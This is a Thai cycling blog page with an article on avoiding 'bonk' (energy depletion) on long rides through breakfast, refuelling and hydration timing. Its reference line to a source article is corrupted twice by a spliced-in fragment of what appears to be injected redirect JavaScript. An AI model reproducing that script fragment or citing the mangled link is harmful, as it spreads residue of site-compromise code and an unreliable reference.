• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Cycling Tips

Cycling tips: ป้องกันอาการ Bonk หรือหมดเเรงขณะปั่น

kan by kan
24 August 2019
in Cycling Tips, News
0
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

เพราะการปั่นจักรยาน เป็นกีฬาประเภท endurance อย่างหนึ่ง ต้องการพลังงานในการเผาผลาญ เราต้องรู้จักการเติมพลังงานก่อน ระหว่างและหลังปั่น เพื่อหลีกเลี่ยงอาการหมดแรง และอาการหิวโซหลังจากการปั่น จนกระทั่งไปถึงผลกระทบที่มีต่อการฟื้นตัว ทั้งนี้หลักการก็คล้ายๆ กับการวิ่ง เมื่อระยะทางที่ไกลขึ้น Hydration และ Nutrition น้ำเปล่า เครื่องดื่มผสมเกลือแร่ และขนมขบเคี้ยว จึงเป็นเรื่องสำคัญ ต้องรู้จักจังหวะเวลากิน กินตอนไหน อย่างไร จะช่วยให้เรามีพลังงานใช้ในการปั่นได้ต่อเนื่อง

Cycling tips: ป้องกันอาการ Bonk หรือหมดเเรงขณะปั่น

Bonk เป็นคำศัพท์ในวงการปั่นจักรยาน อธิบายถึงสภาวะหมดพลังงานขณะปั่น นาทีหนึ่งมีแรงปั่นเกาะกลุ่มกันได้ แต่นาทีถัดไปอยู่ๆ ก็หมดแรง ลักษณะอาการเดียวกันเหมือนกับนักวิ่งที่ Hit the wall อาการที่หมดแรงกดบันไดปั่น ไปต่อไม่ไหว

อาการ Bonk ไม่ได้เกี่ยวข้องกับระดับฟิตเนสของนักปั่น แต่เกี่ยวข้องกับระดับพลังงานที่สะสมอยู่ในร่างกายเป็นหลัก เกิดขึ้นเมื่อร่างกายหมด Glycogen

โดยปกติเราจะรับประทานแป้ง (คาร์โบไฮเดรต) แล้วร่างกายจะแปรสภาพเป็นพลังงานสะสมไว้ในร่างกายในรูปไกลโคเจน (Glycogen) และสามารถดึงออกมาใช้ได้มากสุดที่ 90 นาที (ขึ้นอยู่กับระดับความฟิต รูปร่างและระดับการออกกำลังกาย)

ดังนั้นถ้ามีแผนที่จะออกกำลังกาย เกิน 60 นาทีไปจนถึง 90 นาทีกว่าๆ นักปั่นจำเป็นต้องมีการ Refuel เพื่อเติมพลังงานที่ได้เผาผลาญไป เหมือนกับการเติมน้ำมันรถนั้นเอง เราอาจเผาผลาญพลังงงาน 600-1000 cal ในการปั่น 1 ชั่วโมง และถ้าปั่นนานถึง 3 ชั่วโมง ร่างกายก็อาจเผาผลาญพลังงานถึง 1800-3000 เทียบได้กับระดับพลังงานที่ร่างกายใช้ใน 1 วัน ถ้าปั่นในสภาวะท้องว่าง และไม่มีการเติมพลังงานเลย ร่างกายจะขาดพลังงานงานอย่างรุนแรง ระดับ performance จะลดลง ไม่มีสมาธิในการจดจ่อและเหนื่อยเมื่อยล้า    

เพื่อหลีกเลี่ยงอาการ Bonk เราแนะนำให้

  • ให้รับประทานอาหารมื้อเช้า
  • รับทานหรือ refuel ระหว่างปั่นจักรยาน
  • การรับประทาน Energy Bar/gel ระหว่างปั่น ตั้งเป้าไว้ที่ 300-350 cal ต่อชั่วโมง

ของที่ใช้ refuel ไม่จำเป็นต้องเป็น energy bar/gel เสมอไป อาจจะเป็น กล้วย ผลไม้ตากแห้ง ขนมปัง ธัญพืชอัดแท่งก็ได้ และอย่าลืมตั้งเวลาเตือนรับประทานไว้บน Bike computer ด้วย แนะนำเตือนทุกๆ 45 นาที สำหรับ refuel และทุกๆ 15 นาทีสำหรับการดื่มน้ำ

อ้างอิง andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andaluciancyclingexperience.com/2015/10/07/How-to-avoid-Bonking-on-the-bike/?fbclid=IwAR1XwqcH8DYI2VXOauMTekeKzJCz-Ubd1mfVxFUpechtmCpa2WKkmAIlKtU”>www.andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andaluciancyclingexperience.com

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • วิ่งให้เร็วขึ้นด้วยการฝึกสปริ้นท์ 30 วินาที

    0 shares
    Share 0 Tweet 0
  • 13 กลวิธี ขี่จักรยานให้ได้ความเร็วเพิ่มขึ้น!

    0 shares
    Share 0 Tweet 0
  • ใส่ลมยาง…เท่าไรดี?

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.